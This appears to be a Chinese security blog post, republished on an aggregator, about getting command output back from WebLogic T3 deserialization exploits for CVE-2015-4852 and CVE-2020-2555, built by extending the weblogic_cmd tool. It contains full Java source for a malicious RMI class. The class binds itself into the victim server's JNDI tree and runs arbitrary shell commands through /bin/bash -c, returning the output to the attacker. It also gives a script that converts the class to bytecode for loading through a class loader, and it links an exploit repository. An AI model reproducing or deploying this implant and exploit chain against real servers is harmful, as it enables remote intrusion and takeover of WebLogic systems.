Weblogic T3 反序列化回显利用(CVE-2020-2555)
2021-1-28 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:11 收藏

defineClass载入自定义类,用rmi绑定一个reference供远端调用,攻击者(客户端)利用绑定的reference执行Weblogic服务器上的系统命令,并将结果返回给自己

本文重点是对Weblogic_cmd利用与改写。增加了CVE-2020-2555的链,也准备做成持续更新。项目地址:https://github.com/Hpd0ger/weblogic_hpcmd

怎么快速利用可直接跳到文章”#CVE-2020-2555回显”部分。关于defineClass在反序列化中的利用和CVE-2020-2555的触发不是本文重点,网上前辈已有较详细剖析,这里不再赘述,基础知识看以下几篇讲解:

Weblogic使用ClassLoader和RMI来回显命令执行结果

defineClass在java反序列化当中的利用

Classloader中的defineClass可以从字节码还原出来Class实例
-w992

我们可以调用definClass,创造一个恶意的JNDI服务类obj,这个类要满足这些条件:

1、类要实现RMI接口(只要是继承Remote的接口,因为要把自身绑定为Reference)
-w827

ClusterMasterRemote接口是Weblogic自带依赖包中接口,同时实现了 Remote 接口,所以只需要继承ClusterMasterRemote的类即可把自身绑定为Reference

2、RMI接口(这里是ClusterMasterRemote)必须有返回String类型的方法,因为要返回RCE的输出
-w729

我们就可以在这样的obj中覆写A方法:命令执行后返回结果;在obj的main函数中调用rebind,绑定自身的类到RMI上作为Reference;攻击者就可以通过本地调用lookup来获取这个Reference,远程调用A方法得到受害者执行的结果

实现一个恶意JNDI服务类obj如下

package com.test.payload;

import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class RemoteImpl implements ClusterMasterRemote {

    public static void main(String[] args) {
        RemoteImpl remote = new RemoteImpl();
        try {
            Context context = new InitialContext();
            context.rebind("hpdoger",remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    public void setServerLocation(String cmd, String args) throws RemoteException {

    }

    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {

            List<String> cmds = new ArrayList<String>();

            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);

            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();

            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();

            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }

            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

接着就是把它转换为字节码(摘抄自@Y4er师傅github),将.Class文件转换成字节码脚本

package org.tools;

import java.io.*;

public class ClassloaderToByte {

    public static void main(String[] args) {
        byte[] bs = getBytesByFile("/Users/Hpdata/JavaSecurity/t3/target/classes/org/cmd/ClusterMasterRemoteImpl.class");
        for (int i = 0; i < bs.length; i++) {
            System.out.print(bs[i]+",");
        }
    }
    public static byte[] getBytesByFile(String pathStr) {
        File file = new File(pathStr);
        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
            byte[] b = new byte[1000];
            int n;
            while ((n = fis.read(b)) != -1) {
                bos.write(b, 0, n);
            }
            fis.close();
            byte[] data = bos.toByteArray();
            bos.close();
            return data;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

}

Classloader.definClass()方法加载字节码,但Classloader是抽象类,需要找到一个继承了ClassLoader,且原封不动的调用父亲definClass方法的类
-w474

weblogic_cmd中利用的是org.mozilla.classfile.DefiningClassLoader.class
-w1344

-w1439

Classloader.definClass加载上文的RemoteImpl之后,调用main函数就能够成功在受害者Weblogic的JNDI树中查看到注册上去的Reference,例如我这里bind的是hpdoger
-w991

原项目地址:https://github.com/5up3rc/weblogic_cmd

原项目分析与利用

原项目入口函数提供了一些参数,其中HP是Weblogic的地址与端口,B选项是盲打模式,也就是无回显。不加B选项默认就是回显模式,os必选为linux/win,其他方法暂时没用到
-w1140

接着简单分析一下工具流程,先在Weblogic服务端绑定RMI实例
-w998

调用SerialDataGenerator.serialRmiDatas构造序列化数据
-w1065
-w1271

在CC链反射执行的时候调用main函数
-w1291

main函数获取JNDI Naming上下文,并绑定自身的对象成为Reference
-w1029

在自身对象getServerLocation方法中写了RCE语句并且将结果以String类型返回
-w1005

当然这里的RemoteImpl.java只是提供给读者,方便编写自己的JNDI利用。在项目中已经将编译好的RemoteImpl.class以字节码的形式给出了。如果要编译自己的JDNI类字节码,可以参考文章第一部分的脚本
-w1439

向RMI绑定完Reference之后,就利用Reference(RemoteImpl.class)当作Webshell,在服务端执行getServerLocation方法并将结果返回
-w993
-w801

CVE-2015-4852回显

这里测试用工具写好的CC链,打weblogic 12.1.3
-w1071
-w624

当然你也可以开启shell模式
-w571
-w743

CVE-2020-2555回显

CVE-2020-2555这个洞,跟CC极其相似也是个反射的链式调用,关于CC的分析可以看博客之前的文章:Common-Collentions3.1反序列化之Java入坑(劝退)指南

不过网上没有公开CVE-2020-2555的回显利用,就简单写一下集成到weblogic_cmd

-w1265

在启动项目时增加了一个C2555选项,默认为false。
-w954

最终根据选项值来产生序列化的数据,是用ValueExtractor链(CVE-2020-2555)还是Transformer链(CC链-2015-4852)
-w1131

测试能够打通
-w743

-w1436

关于ClassLoader使用的更新

感谢@Smile师傅指出高版本DefiningClassLoader并不适用,所以项目改用了weblogic.utils.classloaders.ClasspathClassLoader中的defineCodeGenClass方法加载自定义类
-w849

详情见文章:Weblogic常见高危漏洞的综合利用


文章来源: https://hpdoger.cn/2021/01/28/title:%20Weblogic%20T3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E5%88%A9%E7%94%A8(CVE-2020-2555)/
如有侵权请联系:admin#unsafe.sh